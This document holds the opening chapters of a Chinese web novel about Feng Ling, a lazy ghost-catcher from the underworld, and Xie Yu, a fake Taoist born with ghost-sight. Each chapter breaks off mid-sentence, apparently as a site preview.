《鬼师娘娘今天咸鱼了吗》 1. 鬼师封灵 《鬼师娘娘今天咸鱼了吗》全本免费阅读 “这事曾在人间流传甚广,在地府却少为人知……” 酆都城,奈何桥头。 鬼来鬼往的孟婆小摊上传来阴恻恻一道女声。 无头、断手、细长指甲、漆黑眼眶、拖着长长一串血渍的半截躯体……黄泉的风刮过血河池,将悬在尖顶的木牌吹得有些晃动,隐隐可见「前尘尽忘」四字。等着被孟婆汤送进酆都地府的新鬼们,围聚在少有的几张方桌前,狰狞的面孔挤在一处,通身冒着煞气,两目森森的盯着坐在最里头的红衣鬼影不放。 “还得从咱们的酆都大帝说起……” 众鬼环绕之下,那红衣鬼仍是姿态散漫。坐着摇椅,悠闲的晃着扇子,唇角勾了抹饶有兴致的笑,微仰着头娓娓道来—— 说是在千年以前,酆都大帝初掌地府之时,某次遇鬼门关大开,看守的鬼差打了盹儿,放跑了许多的凶鬼煞鬼。鬼物逃往人间,经年被镇压的怨气四溢,立时便引出灾祸无数。酆都大帝震怒,又因地府一片混乱,只能亲去人间收拾残局。 彼时,人间大乱,各地亦不乏救民的抓鬼法师。其中有一位半路出家的,或许是老天爷要让他发迹,阴差阳错之下竟替酆都大帝挡了只鬼物偷袭,结了因果。 那人虽是个半吊子,却也与鬼物打过不少交道,顷刻间便觉察出了不寻常,不等酆都大帝开口便要挟恩图报。 不求权财,也不贪美色,就连对长生不老也是兴致缺缺。那人要的,是超脱人间的驭鬼之术。 如此贪婪,何以能得鬼神高看? 可沾了因果,便须了结因果。 酆都大帝终是允了那凡人贪欲,但也设了诸多屏障—— 所驭之鬼,只能是于人间流转的无根之鬼。已入地府的不听唤使,于地府中落名挂职的,亦不可唤使。 三教九流里摸爬滚打出来的人同样狡诈,自言若他点头,这驭鬼之术便须代代传于其子孙后代之中,且来日寿终入地府,亦不可因此事遭难。 当真是贪得无厌,却也是十足的胆大。 “后来呢?” 新鬼们尚不知地府深浅,听到这里只觉好奇,又见红衣鬼停顿不语,立时便忍不住砸着方桌催促起来。 “后来哪……” 红衣鬼睨了那小鬼一眼,悠悠哉地摇着扇子,继续道:“酆都大帝便问他,说这术只能一脉相承,偏你家有儿女一双,来日寿终,你该传给哪一个呢?” 实在是诛心之言。 那凡人的女儿天资卓绝,抓鬼本事尤其出众,年纪虽轻却已然名声在外。而稍小些的儿子,却是个无甚出息的,偏能够传宗接代! 最后的结局便有些众说纷纭了。 有人说,那凡人左右不决,干脆让两人去某地除鬼,许诺先回来的那人为传宗者,最后便是小儿子赢了,大女儿从此销声匿迹;也有人说,那家女儿不忍姐弟情分消弥,更不愿见家中香火断绝,自愿弃驭鬼之法远走他乡;更有人说,是那小儿子自知天分不如长姐,本事更是难比,便暗下杀手害死了血脉相连的亲姐姐,方才得了继承驭鬼之法的资格。 总之,传的是天花乱坠。 “……你这是骗我们的罢,”众鬼七嘴八舌地乱嚷起来,“酆都大帝怎会许这样的人驭鬼之法!” 红衣鬼将扇子一收,两肘搭于扶手之上,更用力的晃动起身下摇椅来,闻言眼也不抬地开口:“你们这些新鬼,还在人间的时候,就没听过酆家的大名么?” 从地府之主的手里得到驭鬼之法的半吊子凡人,于那场人间动乱中大出风头,一跃而出成为众法师之首,之后更搭上了皇室,摇身一变成了高高在上的护国法师。此后不论朝代如何更迭,酆家始终稳坐国师的宝座,无有动摇。 “……这、可真是取了个好姓哪!” 议论声渐止,却不知从哪里又传来一声不忿的低语。 “这话便说错了……那凡人并非酆姓,只是姓氏与酆都大帝同音,为显自己与地府关系匪浅,从小儿子那一代起,便俱数将姓氏改做了酆都大帝的酆。” 像是在说什么愉快的事情般,那红衣鬼的面上始终噙了抹极明显的笑意。 “酆都大帝竟这样好说话,任由一个凡人这般借他的脸面?” “……那我可不可以求酆都大帝给我判个好胎?” “我下辈子想做富人翁,衣食无忧,妻妾成群,还不缺银钱使……” 众鬼窃窃私语起来。 将池子搅得一片沸腾的始作俑者此时却默默收声,未尽的话咽回肚里,笑的眉眼弯弯。 人寿几何,竟妄与鬼神攀故? 「今日只结吾之因果,来日他之因果,必为另人所结。」 这才是酆都大帝对那凡人的判词。 忽有阴风刮过,伴随着几阵似有若无的嚎哭,两抹壮硕的影子由远及近地奔下奈何桥,又慌慌张张地停在孟婆小摊前。 “鬼师娘娘,第四殿跑了只鬼,宋帝王的人不得空,让您去人间把它抓回来呢!” 牛头马面拎着钢叉与长刀,凶神恶煞地踩过一堆新鬼,喘着粗气朝最里头的红衣鬼谄笑道。 “不去。” 摇椅晃动的幅度变小,却不是要起身的意思,红衣鬼只将扇子展开,又反手盖在自己脸上,拒绝的意味不言而喻。 “鬼师娘娘……不,我的封灵祖宗哟,咱们就是个传话的,旁的主也做不了,您就当是发善心,帮咱们兄弟走一遭罢!” 马面觍着脸凑上前,牛头落后两步,与孟婆闲话了两句,便将这群分不清状况的新鬼全部踹下了血河池。 敢听酆都大帝的闲话,是嫌自己死的还不够彻底么! “谢必安和范无咎呢?” 被称作封灵的红衣鬼不耐烦的飘坐起身,随手将散于胸前的长发拢在脑后,手中扇子一开一合,俨然压抑着火气,“抓鬼是地府无常的活计,回回叫我这只恶鬼去做甚?” 是的,封灵是只恶鬼。 一只已经死了千年、连骨灰都找寻不见的恶鬼。 如何死的记不清了,但约莫不是个寿终正寝的死法。 无他,实在是封灵的真身太过可怖。 剜目拔舌,缚住手脚,被人活活钉死在桃木棺中。这样惨烈的死法,死后怨气不消做了恶鬼,便也不难理解了。 也不知生前造了多大的恶业,才会被人如此寻仇,连入了地府都不得轮回往生。 “这不鬼月到了么,人间各地生人奉祭,地府的鬼便闹腾的厉害,总想着窜出去吃些好的,黑爷和白爷烦不胜烦,这会正领着无常们在鬼门关巡查呢,实在是腾不出鬼力了……” 马面将脸凑得更近,硕大的眼珠骨碌碌的来回转着:“鬼师娘娘抓鬼本事一流,地府上下都是知道的。宋帝王说了,您帮他这一回,改明儿他就去第十殿,帮您催着投胎的事呢!” “他就会用这招拿捏我……” 封灵啧了一声,两手抱胸飘在半空,在牛头马面的头顶打了个转,勉为其难的答应:“还得再给我烧些纸钱。我堂堂地府鬼师娘娘,就算是个无主孤魂,凶煞恶鬼,这种日子也该得 2. 道士解玉 《鬼师娘娘今天咸鱼了吗》全本免费阅读 人间正值中元节夜。家家户户都在路旁设了供桌,摆上肉脯、茶饭,将先人牌位置其上以作祭拜。封灵一路飘过,四周还可见许多未燃尽的纸钱与香蜡,不时随风扬起灰屑。 此地当是一处水乡,房舍多濒水而立,因水成街,因水成市,举目间不少石桥拱立。奉祭鬼神的荷花灯浮于一片波光粼粼之上,与岸边摇曳不休的烛影交相辉映,倒生出一股奇异的好看。 “……夫人细想想,近日是否常有夜半惊醒之况?又是否总是无端心悸,严重时还会胸闷难受呢?” 被封灵扫眼看出是假道士的年轻男子,正疾步跟在一携婢过桥的女妇人身后,状似诚恳的劝说着。 而那女妇人听后,竟也犹疑不决的停了下来。低声问了几句,倒真接了那男子的破旧符纸,又千恩万谢的离开了。 封灵挑了挑眉,像是瞧见什么稀罕物似的飘坐在桥头之上,摇着扇子朝那假道士打量起来。 道袍太旧,拂尘烂了一半,看起来就是个缺钱的,偏俗世中人最信风尘外物这一套。脸倒生的不错,就是那张皮嫩了些,似道童远甚道士,但却是副瞧了便会心生好感的长相,怪不得能做这招摇撞骗的营生。 真是世风日下,人心不古哪…… 封玉学着戏文里的话,装模作样的感慨了两句,突觉腕间传来一股灼意,像是在提醒着什么。封灵合了扇子,笑意微敛,仰起头四方张望了几眼,最后将目光定在不远处的平静水面之下。 原来是藏在这儿呢…… 封灵跳下桥头,仗着人间生灵无法窥见地府鬼物,姿态随意地穿梭在一众凡人之间。临下桥时与那假道士迎上,扬起的红色衣带不经意间触上那人正欲抬起的细长指尖。红灰两道身影即将错开的瞬间,封灵却瞥见了男子微微缩紧的瞳孔,登时停住了脚步。 抬手掐了个诀覆上,确保那只逃鬼还躲在水底吸食香火后,封灵调转了脚步,缓缓停在那假道士的身后—— “……官人,这是瞧见奴家的模样了?” 封灵有心试探,便学着艳鬼们在人间勾搭好色书生时的腔调,掐着嗓子,故作娇滴地开口。 那假道士的胆子倒也大,并没有被封灵这一声给吓住,只气息较之前稍急促了些。他哎呀一声,左手握拳轻击右手掌心,像是突然忆起了什么似的焦急道:“竟忘了还有这档事……夫人慢些走,贫道再与夫人细说说!” 说着袍摆一掀,纵身便要奔下石桥。几欲成功之时,却像是被什么绊倒了般,堪称狼狈地摔在了地上,又惹来路过者几声轻笑。 “……官人跑什么?” 封灵看着眼前这一幕,笑得颇为愉悦。优哉游哉地走到年轻男子跟前,伸出扇子往人死死埋住的脑袋上敲了一下,封灵复又道:“官人抬头,瞧瞧奴家生的可美……若不听话,惹得奴家不高兴了,官人便只能当奴家的口粮,被奴家生吞了。” 蜷在地上装死的人形微僵,须臾试探性地抬起一双眼帘,下一瞬便倒吸一口凉气,肩上生火更是摇摇欲灭—— 封灵现了原身。 眼眶空空,血伤见骨的原身。 “哈、哈哈……” 封灵笑的上气不接下气,被勉强驱来人间的烦闷尽消,戏耍人的乐子也找够了,手上扇子一摇,再度变回了完好无缺的那副皮相。 “小道士,你……” 封灵眼角还漾着未散的笑意,她半蹲在男子身前,视线与那道飘忽不定的目光相接,本欲再说些什么,却忽的面色一冷,而后伸出扇子一挡,下一瞬便听见耳边传来凄厉且难听的嘶叫声—— “好不懂事的女娃娃!自己都成鬼了,还在这里替生人挡招……滚开!否则爷爷我连你一起吞了!” 封灵极轻的蹙起了眉,一双红眸带着明显的诧异看向声源处。 是她要抓回去的那只恶鬼没错……可这又是哪里来的自信,竟敢在号称「地府鬼见愁」的自己面前挑衅? “……我看起来很弱?” 封灵下意识问起脚边的那团人影,满脸写着不敢相信。 地上的人头也不抬地摇头,也不管这副样子在常人面前是何等的怪异,当下只恨不得戳瞎自己的眼睛,最好什么都看不见。 封灵满意地收了扇子,右手袖口处缓缓坠下一截细长的殷红绳索。她抬手在人背上拍了一下,暗色的鬼印旋即浮现又迅速消失。 “小道士,自己找个地方躲好了,等我把这不长眼的家伙给宰了,再好好和你说话……敢趁机跑掉的话,你就等着被我抓进地府下油锅吧!” 说罢,也不待其反应,左手掐诀,挟了阴风便直奔那恶鬼而去。 封灵将自己悬于水面之上,无声扫视了周遭一圈。方才还在叫嚣的恶鬼似乎从自己的反应中觉察到了不妙,这会藏了身形,不知在哪里窥伺着。 胆子比针口鬼的喉咙还小,怪不得是判进第四殿的恶鬼。生前做的都是些欺行霸市、害老压幼的丑恶勾当,对着不如自己的人施展恶意,等死了下地府又能有什么真本事…… 封灵最讨厌这种遮遮掩掩的打法,也不耐烦与之纠缠,手上鬼诀一换,便在整个水面燃了青红的鬼火,等着那恶鬼自己送上门来。须臾听见一声痛呼,封灵看也不看地将殷红绳索甩出,一下又一下,一招套一招,一时间只听到惨叫声不绝。 封灵接连抽打了数十下,感觉到对方鬼力渐弱之后,方才收了力道,只用殷红绳索圈住那恶鬼,而后狠狠朝后一拖,被牢牢绑住的逃鬼终于出现在了封灵眼皮子底下。 “……不是说,要把我给吞了吗?” 封灵笑得眉眼弯弯,拢袖问话的模样更是温柔,与抽打恶鬼时的凶狠动作截然相反。 “你、你不是普通的鬼……” 那恶鬼被封灵的殷红绳索抽的险些散了魂,这会儿浑浑噩噩的,说起话来也颠三倒四,“这绳子是什么做的,不可能绑到我的……好痛,怎么这么痛……有火烧,不对,我是被打的……要死了……我要向宋帝王告、告你的状,你怎么可以滥用私刑……我、我不服!” 封灵不耐烦地又扯了一下,那吵闹声顿时消失。感受着透过绳索传来的阵阵抖意,封灵总算松了眉头,重新变出扇子,百无聊赖地轻晃着,难得配合着解释了 3. 彼此心思 《鬼师娘娘今天咸鱼了吗》全本免费阅读 解玉的嘴唇有些泛白,额头随着封灵的话冒出细密的冷汗,濡湿了散乱在鬓侧的几缕头发。他的心脏剧烈地跳动着,无数项恐怖的念头在他脑海中萦绕,越想越怕,越怕越想。 解玉的面色愈发惨白,两只眼睛死死盯住正前方不放,可最终还是扛不住身后的森森注视,默默在心底念了句吾命休矣,而后放弃似的转过身来。 却在下一刻怔愣原地—— 眼前的这只女鬼,不再是桥上初见时的骇人模样,穿着打扮反与寻常女子无异。血色红衣曳地,镂空木簪挽发,眉飞入鬓,眼尾上挑,额心晕了抹红痕,像是画的,又像是被什么东西生生刻上去的……总之,是张瞧了便叫人难忘的美人面,好看到甚至有些张扬,带着摄人心魄的攻击性,明艳妖冶。 “大王的这张皮,画的可真好看……” 解玉瞬间失了神,心跳也漏了半拍,须臾反应过来自己脱口而出了什么,立时惊出了一身冷汗,而后踉跄倒退几步,险些跌坐在地上。 封灵一开始还颇有兴致地瞧着,听见这话瞬间便拉下了脸,轻哼一声,有些不高兴地开口:“你当我是那些画皮鬼不成?睁大你的眼睛看清楚了,这可是我自己的脸,一分一毫都没用别人的!” 解玉不自然地挪开了眼,耳廓莫名有些泛红,他轻咳一声,垂着眼睛道:“……是、是在下误会了,鬼大王勿怪。” 封灵瞥他一眼,好整以暇地欣赏着眼前这人有些局促的反应,须臾下颌微扬,算是应了。 细长苍白的指尖曲起,勾着殷红的勾魂索一圈圈地往腕上缠。封灵撩了撩眼皮,想起一开始堵人的原因,直截了当地问道:“你这双眼睛……是天生的?” 解玉先是愣了一下,随即反应过来,不自觉抬手拂过眼尾,茫然道:“这东西,还能有不是天生的?” 封灵的嘴角微微上挑,像是听见了什么极有意思的事情,歪着脑袋低笑几声,这才道:“能视鬼的生人有许多,但大多是拜师习法后开的阴阳眼,能看见的也不过是些寻常鬼物。像你这样天生的鬼眼,我已有几百年没在人间见过了……更别提你还能看见我。” 听到这里,解玉的脸上闪过几丝明显的纠结,目光游离不定,不时投向封灵,又赶在视线交织前仓促收回,整个人欲言又止。 “鬼大王,为什么……” 解玉斟酌着开口,却忽觉背后刮来无端夜风,湿冷的水汽挟着刺骨的寒意朝此处急剧靠近。解玉回头一望,除了空无一人的石桥,什么也没有望见。 难道是错觉…… 解玉保持着回头的僵硬姿势,一时间有些犹疑不定,正欲放弃时,却突然意识到了不对劲的地方—— 中元节夜,怎么会空无一人? 他惊惶抬眼,而后在下一瞬陡然失声。 石桥上,一黑一白两道影子遥遥走来。分明还有一长截距离,却在几息之后出现在解玉眼前。左带笑,右凶悍,俱是瘦高身形,各自提了盏青灯,一书「一生见财」,一书「天下太平」。 二者的身份便也呼之欲出了 谢必安与范无咎,地府的黑白无常。 “多日不见,鬼师娘娘风采依旧哪!” 谢必安第一眼便看见被殷红绳索绑住的恶鬼了,却没有立时带走,反而笑眯眯地和封灵说着玩笑话,关系俨然亲近的很。 “……我找的,似乎是牛头和马面吧?” 封灵阴凉凉的看着不请自来的无常,口气谈不上好,却也称不上坏。 “听说鬼师娘娘在孟婆摊前痛陈我兄弟二人不尽职守,次次拉你做工,所以今回特地来人间迎你。” 谢必安的眼角微微弯了弯,从喉咙深处溢出一声轻笑,话里话外满是打趣。 封灵克制着想翻白眼的冲动,嘴角微微向下撇,“好不要脸,分明是你俩怕我又在人间瞎耽搁,故意拿这由头来堵我的!” 虽得了酆都大帝以抓回恶鬼的数量来消弥生时罪业的承诺,但须臾千年过去,封灵何日能入第十殿转世投胎依旧是未知之数,她便也没那么上心了,甚至觉得似如今这般得过且过的也挺好。有时在地府呆的烦了,也会趁着抓鬼的机会往人间停留,少则几日,多则便看封灵自己了。 虽说生死二界自来相隔,可去往人间的鬼差不少,似封灵这般借故停留的也有许多,偏只有她被严防死守,回回算着时辰在鬼门关等着,生怕封灵在人间多待半刻钟。 我可是只信守承诺的好恶鬼,才不会像其他恶鬼般偷逃到人间犯事…… 封灵在心底腹诽了两句,脚下不动分毫。 “恶鬼抓到了,中元节的热闹你也算是看过了,该回去了……再耽搁下去,冥主便要知道了,他今日也会出现在酆都城的。” 谢必安顿了顿,余光从正竭力缩小存在感的解玉身上扫过,又道:“至于这个身怀鬼眼的凡人么……未免生出事端,还是将他的记忆给抹了去,一了百了。” 封灵听见酆都大帝的称谓,先是不耐烦地啧了一声,而后又听到无常对解玉的处置,更是挑起了眉梢,两手抱胸反对道:“不行!我好不容易才遇到个这么有意思的凡人,自己都还没玩够呢,你们就别替我做主了……我要留着他。” “……其实,也可以不用留着的。” 解玉屈身蹲在角落的阴影里,在两个鬼差加一只恶鬼的环视下,艰难地扯出抹算不上好看的笑,说话格外小心翼翼。 封灵浅浅嗯了一声,尾调却是上扬的,显然对解玉的这番表态发出了质疑。而后者,无声叹了口气,又默默缩了回去,愁眉苦脸地等着被宣判。 “你们先带这恶鬼回去交差吧,我再留一会儿,同这凡人交代几句再走……会赶在冥主知道前回鬼门关的。” 迎着黑白无常明显不信的眼神,封灵面不改色,拍板定调。 “……勾魂索可还好用?” 范无咎瞥了眼封灵的腕肘,突然道。 被问话的红衣鬼正埋头解着绳索,闻言故意抬手,在范无咎面前晃了几晃,方才道:“从你俩手里赢回来的,自然好用……抓起鬼来顺手极了。” “好用就行,等你回了再找我取……别在人间耽搁太久了。” 范无咎面无表情地接过勾魂索,扭头朝谢必安颔首示意。后者也学着解玉的模样叹了口气,哭笑不得地一拱手,两无常便如来时般消失了。 桥上岸边再度恢复了热闹。 “……咱们继续?” 封灵一开一合地把玩着扇面,笑眯眯地问道:“你是想站起来答话,还是我蹲下来陪你?” 解玉闻言,立刻便从地上爬了起来,后背抵上柱子,两手交叠搭在身前,一副我很听话的姿态,生怕动作慢了惹封灵不快。 “头先你对那女妇人说,自己师承望京酆家,又研习道法多年……这句话是真是假?” 解玉面色僵了一下,似乎没想到封灵会看到他与那妇人说话的场景。忍不住与那双红眸错开了视线,抱着早说早死的念头,解玉深吸一口气果断开口:“我、我没学过什么道法。至于酆家,也只是图他们名气大,随便瞎说来糊弄人的……” 封灵意料之中地点了头,想起那妇人拿在手里的符纸,又道:“那你的胆子还挺大,装道士骗人不够,还做起买卖符纸的生意了……就不怕真惹出什么鬼怪,平白害了那些相信你的普通人?” 语气却故意冷了些。 解玉视线飘忽不定起来,说话时也有些底气不足,“符纸上的那些图案,都是我从书上一笔一划临摹下来的,挑的都是祝祷意味的无害咒言,图个吉利罢了。我就是想混口饭吃,不叫自己饿死,若能靠这行当再能赚些银钱便更好了……也不算什么下地狱的罪过吧?” 最后几个字,带了十分的小心翼翼。 封灵的眸子陡然亮了亮,像是猎人看见已半只脚踏入陷阱的猎物般,眼底溢出薄薄 4. 城隍借鬼 《鬼师娘娘今天咸鱼了吗》全本免费阅读 “……我这张脸,看起来很和善吗?” 封灵单手撑住下颌,将大半个身体悬在奈何桥外,两只眼睛直勾勾地盯着池面上的倒影不放,语气颇为费解,“这都过去多少日了,他竟跟失踪似的了无音讯,真以为我回来了就找不到他了不成?” 封灵说着,又随手变了块石头,挟着三分火气扔进了血河池。眼看池面被激得泛起一圈又一圈的涟漪,再平静下来时,美人面已换作了森森鬼脸。 “他也不怕这张脸,在人间时都没被吓昏过去……如今当骗子的,胆子都这么大了?” 封灵不住地叹气,却迟迟未听见身后该有的说话声,终于像是反应过来般回头,“你在听吗?怎么从刚才起就不答我的话了……孟婆!” 孟婆坐在自己的摊位前,自顾自地用勺子搅着汤盆,闻言头也不抬地开口:“那你是觉得我看起来很和善吗?封灵儿,你答应我的香料呢!” “我,我这不是忙着去抓恶鬼了吗,又撞上了谢必安他们,一不留神就没来得及……” 那日,她将全部的注意力都放在了解玉身上,又被鬼鸦的一通乱叫催得心烦,哪里还能记得孟婆的嘱托,直到半只脚踏上了奈何桥才突然想起,却已经晚了。 本就是封灵理亏,如今又当着苦主的面找借口,自然显得底气不足。 孟婆勉为其难地抬了头,灰色的眼瞳往封灵身上打了个转儿,像是在确认什么般来回扫视,须臾方道:“他们果然没说错……你瞧上了人间的野男人,眼里心里都是他,所以才会把我的事忘得一干二净。唉,亏我还拿你当至交好友,如今倒是重色轻友了。” “……什么?!” 封灵简直不敢相信自己的耳朵,甚至有一瞬间呆在了原地。哪个不长眼的,竟敢在地府里造她鬼师娘娘的谣! 封灵咻的一声出现在孟婆面前,两手重重拍在搁有碗碟的破旧方桌上,眼底的震惊几乎要喷薄而出。她愤愤然开口:“你是从哪个的嘴里听来的?我这就去扒了他们的皮!” 孟婆伸手扶住差点倾落的汤盆,面不改色地将始作俑者抖落了出来,“上次在人间,小白和小黑不是接你去了吗?他们回来后说得有板有眼的。听说还是个天生鬼眼的道士,脸也生得格外俊俏……难道这也是假的?” “……” 封灵搭在方桌上的手缓缓握紧成拳,像是要克制怒气般深吸了一口气,半晌才找回自己的声音,皮笑肉不笑道:“是谢必安吧,让他给我等着!” “我可什么都不知道,”孟婆弯了眼角,浅浅地笑出声,眸光中满是揶揄,“只是……封灵儿,你似乎也什么都没解释呢?” 这便是有意为之的戏谑了。 封灵撤了力道,转身躺进嘎吱晃动的摇椅里,一边慢条斯理地摆弄着扇子,一边满不在乎道:“左右你也没真信,不过是觉得这样有意思,说出来让我去把谢必安打一顿罢了……有什么好费口舌的。” 先时的怒火退去,封灵此刻也有些不知道该如何解释。 天生鬼眼是真,长的好看也是真。那人虽然是个假道士,可到底沾了道士两个字……一串谣言当中,除了她看上解玉的理由不对,其他的竟全然无法反驳。 该说,真不愧是谢必安么…… 封灵突觉自己的头疼了起来。 孟婆乐呵呵地看了封灵一会儿,忽又正色道:“你若真觉得有意思,偶尔去人间时逗弄几回也无妨。只是人鬼殊途,封灵儿,不论什么前由,你都得与他们保持界限才行……勿要沾了因果,犯了禁。” 正如酆都大帝在人间沾的因果,若放任不管,轻则损害修为,重则反噬己身,甚至魂飞魄散……这才是他甘心受凡人挟恩讨要驭鬼之术的深因。高高在上的地府之主,也只能靠允人承诺去除因果,更遑论其他的寻常鬼物。 只是封灵本为恶鬼,原就是沾着无数未结的因果下地府受苦的,哪里会怕再多几个。是以每每听见孟婆劝告,封灵便深觉无趣,却也从来不会打断。因为孟婆是封灵被地府“招安”后,第一个向她施以善意的鬼差。那之后,她才结识了黑白无常,也才有机会和各殿阎王叫板。 孟婆是个很好的鬼差。 可若是能少些说教,便更好了。 “……知道了知道了,你说的每句话我都记在心里呢!” 封灵唉唉一叹,又连声附和起来。 鬼月已过,人间亦无大灾祸世,酆都城便也安静了许多,不止新来的鬼少了,连路上见到的鬼差也少了。封灵找不到机会给新鬼讲故事,也没有溜去人间的正经由头,正是枯燥乏味的时候,能在这里和孟婆说说闲话,也算是打发时间了。 “……见过泰媪大人,鬼师娘娘好呀!” 封灵歪着脑袋,正和孟婆有一句没一句地插科打诨,忽听空气中传来沙哑的问候声,莫名有些耳熟。 “稀客呀,城隍主今日怎么有功夫来酆都城了?” 还是孟婆先反应过来,笑呵呵地朝来客打了声招呼,又朝封灵道:“你该是见过的。生人死后,先往城隍庙交路引,再由驻守在庙内的阴差送入地府,方才有过鬼门关的资格……封灵儿,你当年也是这一遭过来的。” 封灵朝来人浅浅一颔首,盯着那身褚色衣袍看了又看,还是什么也想不起来。但既能对声音觉得耳熟,约莫是真的见过,只是随生前的记忆一并忘记了…… “城隍主好。” 封灵简短道。 “早就听说过鬼师娘娘的威名,今日得见真容,才知是名不虚传哪!” 城隍将视线从孟婆的方向收回,带着几丝难以察觉的了然,极熟稔地与封灵客套起来。 “城隍主今日,是特意来地府闲游的?” 孟婆站得稍后些,灰色的眼瞳越过封灵的肩膀,暗含警告地盯了人一眼,又重复起刚才的问题。 城隍妥协似的耸了耸肩,态度一下子随意了许多,“才与冥主说完事情,本想去找两位无常的,不想竟在您这儿撞见了鬼师娘娘……如此,鬼师娘娘可有兴趣往人间一趟哪?” 封灵顿时来了精神,手上扇子“啪嗒”一声合上,扬起抹极灿烂的笑朝城隍道:“自然是有兴趣的。可是有什么抓鬼的差事要做?城隍主尽管直说,我最是擅长的!” “封灵儿!” 孟婆低声阻了一句,又朝城隍解释道: 5. 初步结盟 《鬼师娘娘今天咸鱼了吗》全本免费阅读 解玉背对着大门站立,两手合十,头部低垂,上半身微微前倾,正动作恭敬地冲着纸牌位叨念着什么,不时发出几声哀嚎。 与她想象中的画面截然相反…… 封灵狠狠闭了眼睛,深吸一口气后再度睁开。掐着诀掩去身形,封灵悄无声息地飘进了正堂,又不死心地绕着窄小的屋室转了一圈。 看到的东西与此前无差。 怪不得她等不到解玉的奉祭……没有香蜡不说,连牌位也是纸糊的,至于写在上头的名字,就更不必提了——哪有人给名号立牌位的! 第一步便就错了,那之后纵有天大的诚意,也是白费功夫。 封灵气不打一处来,索性大袖一挥,将方桌上摆的物件掀了个干净,而后在解玉身前现了形,阴恻恻地开口:“又见面了,解道长。” 被点名的解玉只觉眼前一花,熟悉的红衣便又映在了自己的眼底。有了第一回被吓的经验,男人这回倒镇定了许多,除了满脸的生无可恋。 “鬼大王……” 解玉急急上前,脚步却有些踉跄。地面分明一片平整,他却像被什么给绊住般直直摔向封灵,好在反应迅速地扶住了方桌,这才没有撞上红衣。 男人泄力般埋着脑袋,胸膛急剧起伏了几下,须臾才平复好心绪。他无奈地露出一抹苦笑,垂在身侧的另一只手有些发颤,带着一头细密的汗看向封灵,求助般开口—— “鬼大王,救命哪!” 封灵敛了神色,红眸在解玉的身上来回扫视着,像是在探查什么。突然眸光微凝,折扇一挥便将男人破旧的下衣又割去大半,露出一截细长小腿。 一切都很正常,唯独靠近脚踝的地方,多了一圈深黑色的掐痕,像是被什么人用手掌生生抓住后留下的印记。 “你这是,撞见什么脏东西了?” 抬手用折扇点住那处掐痕,封灵难得温柔地问起解玉来。 被问话的却一脸茫然,只目光呆愣地跟着封灵的动作低头看去,而后倒吸了一口凉气,声线更是抖得厉害,“我,我不知道啊……只是跟您分开后倒霉了许多,眼睛里能看见的东西也多了许多——” 耳边传来“啪嗒”一声轻响,是封灵合拢了折扇,又朝着解玉眯起了眼睛。后者艰难地咽了口唾沫,果断转了话题,又道:“自那日与您分开后,我便老实待在歇脚的地方,除了偶尔外出买些干粮外,没去过其他的地方,更别说要主动招惹些什么了……” “但从七日前开始,我不论做什么都会受伤。起初只是被无端掉落的东西砸出淤青,两、三日后便开始见血,昨日更是折了腿。”解玉坐在地上,抬手拍了拍自己的膝盖,苦笑着朝封灵示意了两下,“可这掐痕,今日之前都是没有的啊……鬼大王,我是要死了吗?” “死什么死,有我在,你的命还长着呢。” 封灵抬手抵在解玉眉间,食指与中指并拢,无声念了几句符文,但见细微荧芒闪过,地上的人一整个精神不少。至于折了的那条腿么……封灵将手滑至伤处用力一拍,在解玉的痛呼声中,慢悠悠道:“行了,动两下试试吧。” 封灵退后两步,给解玉留了个舒展手脚的空间,却不想这人迟迟没有动作,两颊更是泛起了莫名的红晕,两只眼珠转来转去的,就是不敢看她。封灵奇怪地瞥了眼,本想直接将人拎起来,到底是念着解玉遭了通罪,放缓了声音,勉为其难地多问了两句:“……还有哪里疼?” 解玉的唇瓣微动,摇着脑袋低声答了句什么,只是那声音实在太小,近如封灵也没有听清。她不耐烦地挑起眉,两手环抱在胸前,尾调上扬发出一声疑问。 “……男女授受不亲,礼也。” 见实在躲不过去,解玉只好抿着嘴又重复了一次。 封灵沉默了一阵,忽而肩膀轻颤,像是终于忍不住了般笑出声来,好半晌才开口:“你跟一只鬼讲男女大防,自己听着这话都不觉得好笑吗……我真的是很久都没见过你这样有意思的人了。” 解玉的脸更是燥红一片,胡乱擦去额角半干的汗,男人趔趄地从地上爬起来,试探着走了几步,确实与往常无异了。 “……多谢鬼大王相救。” 迎着封灵看戏似的目光,解玉难得起了几分羞赧。 封灵正摇着扇子在空中晃来晃去,闻言下颌微抬,算是受了这声感激,“毕竟,你在这里摆上了我的牌位……” 虽然她要求的东西一个都没有,也根本没有供奉传来地府。 但好歹,离她想要的又近了一步。 “……我是真想按您说的那些来做的,”解玉有些讪讪,“可自从中元那日,在市集的桥边与您和两位无常说过话后,他们便都传我是个疯子,没人肯信我,更别提买我的符了。要不是之前留了些积蓄,我连干粮都买不起了。” 封灵掩着嘴轻咳一声,倒不是多可怜解玉的遭遇,只是克制着不让自己幸灾乐祸的表情太过明显。 解玉越是缺钱,才越能为她所用。 “你既决定要供奉我,之后自然是不缺银钱的,如今便再忍忍吧。” 封灵飘到解玉的身前,安慰般拍了拍他的肩膀,如是道。 “可是鬼大王,我还不知道您的名字呢……要不是那日听见无常们称呼您为鬼师娘娘,我连这牌位上的字都无从下手。” 解玉幽幽道。 封灵拍着解玉肩膀的动作微顿,须臾稍显僵硬地收回手。 她似乎,真的忘记向解玉透露名字了…… 封灵呵呵地干笑着,正欲说些什么找补的话,余光不经意瞥见解玉松了口气的表情,脑中灵光一现,总算想起了其中的不对劲之处。 “……你也不是真心想供奉我吧。只是发现靠自己招摇撞骗的那条路走不通了,又正好被脏东西缠上,这才想起我那日说过的话,亡羊补牢做了个纸糊的牌位!” 封灵五指弯曲成爪,反手搭在解玉的脖颈处,皮笑肉不笑地质问道。 “我如今是真心想供奉大王您的……至于过去的事情,咱们就让它过去吧,”解玉起先还僵着身体不敢动作,在发现封灵并未真的用狠劲后,方才大着胆子,小心翼翼地将脖子从封灵的手下拔出来,讨好地一笑,“您捡懒,我图钱,咱俩搭档,稳赚不赔。” 当日用来引诱解玉的话,如今倒被解玉拿来劝说封灵自己了。 不过么…… 封灵本也只打算吓唬吓唬人,并不是真要对解玉怎么样。她是出来抓厉鬼的,可不是要把自己变成厉鬼。 “……封灵,封印的封,灵气的灵,我的名字,记住了么?” 封灵将停在虚空中 6. 结生共死 《鬼师娘娘今天咸鱼了吗》全本免费阅读 “……灭她就不必了吧,”解玉努力咽了口唾沫,眼角微微有些抽搐,“让那女鬼把这掐痕抹去,或者让她告诉咱们怎么去除这掐痕,不就解决了吗?” 